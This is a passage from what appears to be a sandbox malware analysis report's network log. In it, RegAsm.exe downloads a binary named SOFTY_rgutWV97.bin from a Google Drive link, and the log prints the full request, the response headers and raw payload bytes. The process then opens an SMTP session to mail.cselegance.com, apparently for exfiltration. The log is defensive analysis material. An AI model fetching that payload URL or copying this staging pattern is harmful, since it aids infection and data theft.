Oct 13, 2021 12:51:51.396828890 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.396858931 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.397008896 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.397051096 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.397223949 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.397258043 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.397404909 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.397423029 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.397448063 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.397586107 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.397619009 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.397764921 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.397798061 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.397945881 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.398021936 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.398169994 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.398207903 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.398363113 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.398397923 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.398547888 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.398581028 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.398793936 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.398822069 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.398971081 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.399003029 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.399161100 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.399194002 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.399342060 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.399370909 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.399533033 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.399563074 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.399777889 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.399799109 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.399828911 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.399924040 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.399971962 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.400028944 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.400177956 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.400213957 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.400365114 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.400398970 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.400544882 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.400578976 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.400753021 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.400787115 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.400932074 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.400968075 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.400990009 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.401132107 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.401168108 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.401319027 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.401350975 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.401459932 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.401498079 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.401519060 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.401607037 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.401704073 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.401726961 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.401755095 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.401865005 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.401885033 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.401901007 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402046919 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.402066946 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402090073 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402226925 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.402252913 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402259111 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.402271986 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402381897 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402487993 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.402506113 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402530909 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402538061 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.402657986 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.402673960 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402694941 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402829885 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.402857065 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402863026 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.402875900 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.402998924 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403017044 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.403141975 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403160095 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.403163910 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403172970 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.403244019 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.403295994 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403311014 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.403316021 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403343916 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403353930 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.403441906 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403482914 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.403491020 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403497934 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403680086 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403728008 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.403755903 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:53:27.993679047 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:28.244689941 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:28.245048046 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:29.473244905 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:29.473942995 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:29.725290060 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:29.727109909 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:29.978435993 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:29.978900909 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:30.238379955 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:30.238897085 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:30.489656925 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:30.490031004 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:30.754192114 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:30.754550934 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:31.005724907 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:31.005784988 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:31.007699966 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:31.007797956 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:31.007811069 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:31.007822037 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:53:31.259052992 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:31.259115934 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:31.260649920 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:53:31.315056086 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:55:07.544035912 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:55:07.796539068 CEST	587	49766	116.0.120.83	192.168.11.20
Oct 13, 2021 12:55:07.796741009 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:55:07.797069073 CEST	49766	587	192.168.11.20	116.0.120.83
Oct 13, 2021 12:55:08.048095942 CEST	587	49766	116.0.120.83	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2021 12:51:50.188760042 CEST	51930	53	192.168.11.20	1.1.1.1
Oct 13, 2021 12:51:50.207123041 CEST	53	51930	1.1.1.1	192.168.11.20
Oct 13, 2021 12:51:51.062115908 CEST	49434	53	192.168.11.20	1.1.1.1
Oct 13, 2021 12:51:51.094327927 CEST	53	49434	1.1.1.1	192.168.11.20
Oct 13, 2021 12:53:27.514504910 CEST	61079	53	192.168.11.20	1.1.1.1
Oct 13, 2021 12:53:27.936309099 CEST	53	61079	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 13, 2021 12:51:50.188760042 CEST	192.168.11.20	1.1.1.1	0x98ed	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Oct 13, 2021 12:51:51.062115908 CEST	192.168.11.20	1.1.1.1	0xe73	Standard query (0)	doc-08-28-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Oct 13, 2021 12:53:27.514504910 CEST	192.168.11.20	1.1.1.1	0x6c3e	Standard query (0)	mail.cselegance.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 13, 2021 12:51:20.465673923 CEST	1.1.1.1	192.168.11.20	0x2a71	No error (0)	windowsupdate.s.llnwi.net		178.79.242.0	A (IP address)	IN (0x0001)
Oct 13, 2021 12:51:20.465673923 CEST	1.1.1.1	192.168.11.20	0x2a71	No error (0)	windowsupdate.s.llnwi.net		178.79.242.128	A (IP address)	IN (0x0001)
Oct 13, 2021 12:51:50.207123041 CEST	1.1.1.1	192.168.11.20	0x98ed	No error (0)	drive.google.com		172.217.168.46	A (IP address)	IN (0x0001)
Oct 13, 2021 12:51:51.094327927 CEST	1.1.1.1	192.168.11.20	0xe73	No error (0)	doc-08-28-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Oct 13, 2021 12:51:51.094327927 CEST	1.1.1.1	192.168.11.20	0xe73	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.97	A (IP address)	IN (0x0001)
Oct 13, 2021 12:52:26.611701965 CEST	1.1.1.1	192.168.11.20	0xe708	No error (0)	windowsupdate.s.llnwi.net		178.79.242.0	A (IP address)	IN (0x0001)
Oct 13, 2021 12:52:26.611701965 CEST	1.1.1.1	192.168.11.20	0xe708	No error (0)	windowsupdate.s.llnwi.net		178.79.242.128	A (IP address)	IN (0x0001)
Oct 13, 2021 12:53:27.936309099 CEST	1.1.1.1	192.168.11.20	0x6c3e	No error (0)	mail.cselegance.com	cselegance.com		CNAME (Canonical name)	IN (0x0001)
Oct 13, 2021 12:53:27.936309099 CEST	1.1.1.1	192.168.11.20	0x6c3e	No error (0)	cselegance.com		116.0.120.83	A (IP address)	IN (0x0001)
Oct 13, 2021 12:56:36.388796091 CEST	1.1.1.1	192.168.11.20	0x2ef8	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-08-28-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49759	172.217.168.46	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-13 10:51:50 UTC	0	OUT	GET /uc?export=download&id=1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2021-10-13 10:51:50 UTC	0	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 13 Oct 2021 10:51:50 GMT Location: https://doc-08-28-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8h8uio1dqpn5ahgfavoi7o8vnkc5qp90/1634122275000/16524389560697724177/*/1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB?e=download P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'nonce-ALdjyk0QbVtvePfOaJ17Iw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=511=aywNcKPytdziXk59U43Uw9Me2kFuSXpmbKG4blKPSroLuVkTGIUaJW17RyVcsTJoMmtTygXtwBl6tqIgPXkGtKNFrabQ15tWIq-KVFsRBj5V-oHdw5cENylqgL5F0vLIMABfYqn9qzVngqNshkK77ImnNerhdQEDTFybmuMMIWI; expires=Thu, 14-Apr-2022 10:51:50 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-10-13 10:51:50 UTC	1	IN	Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 38 2d 32 38 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 38 68 38 75 Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-08-28-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8h8u
2021-10-13 10:51:50 UTC	1	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49760	142.250.185.97	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-13 10:51:51 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8h8uio1dqpn5ahgfavoi7o8vnkc5qp90/1634122275000/16524389560697724177/*/1oI6QtIwrNnN8NQRw9EUdqGJEy6K_yCrB?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-08-28-docs.googleusercontent.com Connection: Keep-Alive
2021-10-13 10:51:51 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdvOLMHwpfsrUuqsDyaT7FmfujgAHefIE4VmUqmD0aUxMTKvlaSbjB2H5qoSoMcMIysDzm7vRIF0QscMh1qHww Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="SOFTY_rgutWV97.bin";filename*=UTF-8''SOFTY_rgutWV97.bin Content-Length: 221760 Date: Wed, 13 Oct 2021 10:51:51 GMT Expires: Wed, 13 Oct 2021 10:51:51 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=VwkT0w== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-10-13 10:51:51 UTC	5	IN	Data Raw: b1 0c 2a 83 08 cb 15 ec 17 ff ea f8 0d 67 7a b3 cd 66 bd 34 7e fc fa 72 9d 59 ef 45 ea f3 6a 88 56 ab ec d2 c1 2b e9 45 33 b6 21 4c c8 da 82 3b 86 7c 84 f2 a8 31 e1 ab 22 97 c6 8c e5 0f a7 ac 31 a0 9b 5b 95 38 f9 65 76 65 a1 28 99 43 42 ad f9 52 cd db 96 60 9d 30 10 e1 d0 32 67 97 0c 8d c2 b1 e6 2c db e4 f2 e1 b6 43 27 29 83 76 31 f3 f1 5c cb fd 21 5b bb 93 bc 49 17 95 58 37 c4 f8 2d 48 74 3b 81 5f 14 48 b6 98 22 85 04 42 cd f8 01 6b 59 56 a5 ac 17 6a 9f 48 d7 46 91 87 c1 f6 41 50 7e 74 cd 80 fe 55 3c c3 cb bc 6b c8 c4 8e 19 e2 08 6f ac 3c 00 17 b1 f5 a2 c4 26 61 4a f4 78 ce da cb 82 bc 09 f3 d7 ae 65 f3 14 04 e7 8b 35 b1 54 0c 21 12 df b2 c5 43 07 46 b2 cc e1 64 80 58 fe 53 36 c2 ea 25 b0 6c 13 6b c2 7a 5e a9 03 70 d1 35 7d 38 2c 01 b5 1d 57 15 44 5c 67 Data Ascii: *gzf4~rYEjV+E3!L;\|1"1[8eve(CBR`02g,C')v1\![IX7-Ht;_H"BkYVjHFAP~tU<ko<&aJxe5T!CFdXS6%lkz^p5}8,WD\g
2021-10-13 10:51:51 UTC	9	IN	Data Raw: f9 fc 57 08 f7 c4 b8 b7 b5 18 bf c6 28 a9 f3 63 c2 bb 2d 70 37 21 2d a7 bb 2f c0 15 27 9a b5 0d 8d 2e 6b e8 5e 7c cd fa 3d 98 70 cb 76 3d 86 3c 04 42 d9 f1 d9 97 9f a5 ea 0f 2d f3 66 16 20 b0 98 54 81 71 db 32 29 c4 ea 20 e7 b3 b8 bd a7 d7 f1 b8 e4 23 5f 11 4c 5c 1d ce 21 42 82 8d 4b 68 b1 d3 a9 79 04 7d ab 5a 88 3c b2 51 e7 ab c8 02 7d 72 95 f3 0d 0e 54 d3 4f 6f d9 72 1f 99 fb 26 8a b7 bf af d8 b9 da dc c0 cc 8d 36 f5 74 53 09 2a 06 ab b1 19 1a e9 8b d4 7e 6e fc 1a 4a 4e 14 0e 87 0f 30 5d 13 0b 1d 5c 3e 52 12 bc 85 6d 42 bb c0 44 7e 05 43 93 b0 1c 3f 72 22 02 ec 0c 6f d5 33 96 3e b6 b8 23 8b 9c 3b b2 bc 3d 2e c7 d0 f6 f5 bb 4a 00 19 27 5a b7 56 64 62 77 0c 72 78 78 37 42 39 31 cc 91 1c 86 54 f3 83 14 0e 72 7d 86 3c 68 76 94 51 e8 91 61 04 5b 09 65 ce c1 Data Ascii: W(c-p7!-/'.k^\|=pv=<B-f Tq2) #_L\!BKhy}Z<Q}rTOor&6tS*~nJN0]\>RmBD~C?r"o3>#;=.J'ZVdbwrxx7B91Tr}<hvQa[e
2021-10-13 10:51:51 UTC	13	IN	Data Raw: 67 75 e6 1d 79 60 1f 7e 2b a9 9f df 62 8d 3d 8b b9 b0 62 c2 c1 7d 45 88 f1 6c 28 ec 2c be fc 0c 3b 2e c1 6c e3 a9 7e 35 29 7b 5d 16 89 1a 3a 04 3d 8b 2e 5e a1 c9 bf b6 73 ea d1 b2 3d 8b 77 9b 55 67 bf 60 bb f1 93 c7 9f 92 6e 47 ea a8 a6 f6 46 7c 22 fd fe e3 fd 7c 85 01 23 61 f7 92 5c 6d ad 47 6a b4 2f 79 b3 67 e9 0f 5b 87 3c e5 9b 73 49 aa 21 7f 94 33 af 41 54 6f c6 85 64 9d 21 54 fa 2e 33 4b 9c 05 95 bc a9 e6 2c df 46 ee f2 b2 43 36 2d 9c 7f cf f2 dd 50 c2 e1 09 29 b9 93 ba eb 08 9f cb 33 c4 e9 27 49 30 34 ad e7 14 9e e9 38 23 c9 cd c1 86 99 7b 1c 79 37 d3 dc 7b e6 ff 09 fb 2c ee 97 b7 99 35 74 be 0e e1 e1 8f 3b 0d ae b8 62 2e ab 9c a7 6e a5 49 0a 82 3b af 03 86 f1 a2 d5 22 77 b4 f5 04 88 cd d8 ca bd 1b f7 0b a8 c6 93 38 06 cc 8e 0d 59 a9 f3 3e 15 a3 aa Data Ascii: guy`~+b=b}El(,;.l~5){]:=.^s=wUg`nGF\|"\|#a\mGj/yg[<sI!3ATod!T.3K,FC6-P)3'I048#{y7{,5t;b.nI;"w8Y>
2021-10-13 10:51:51 UTC	16	IN	Data Raw: 57 1f 84 ef a8 d0 da 2e 15 e3 c5 b2 03 63 da db 93 4e 1a 2c 4e 51 de 1a a1 13 6e a3 67 71 62 c9 6c 81 0a 2b ce ef d2 85 a0 57 02 fc de e8 ca 08 1a b5 d3 3d 9b df b2 96 bb 2b 52 03 24 3c a8 99 af f0 1c 0d 8f 98 4a 65 2c 6b e4 93 81 ef 32 13 9e 7e 8c 06 3d 86 3c f0 34 f7 f3 df 82 b3 53 47 25 1a f5 77 3f 20 5f 98 54 81 53 d4 0a 29 ce c8 a0 e7 b5 94 ae 8f ff 4f 92 e4 25 4c 32 1d 9e 09 41 27 60 a5 8d 4b 62 9b 8d f0 79 40 f5 8c 78 37 3e b2 57 f6 88 e0 56 d2 df 93 c9 30 0e 54 d8 7c 01 dc 72 0e 8b d9 0e 5c b5 bf b8 d6 80 b7 cf c9 d7 d1 0f e4 53 41 05 3d 27 8e 7c 19 10 8c d7 2a 7c 6c 95 c0 25 02 1e 19 73 0b 70 7b 32 c6 1d 33 79 45 ec b4 dc 6b 2b 9a 0d 44 74 09 4b 5f dd 0c 06 44 29 04 c4 3e 63 d5 35 fd 02 9e 7c 2b 8d b2 5e 7e bc 3b 4b d6 5b f6 ff bd 34 57 31 4a 52 Data Ascii: W.cN,NQngqbl+W=+R$<Je,k2~=<4SG%w? _TS)O%L2A'`Kby@x7>WV0T\|r\SA='\|*\|l%sp{23yEk+DtK_D)>c5\|+^~;K[4W1JR
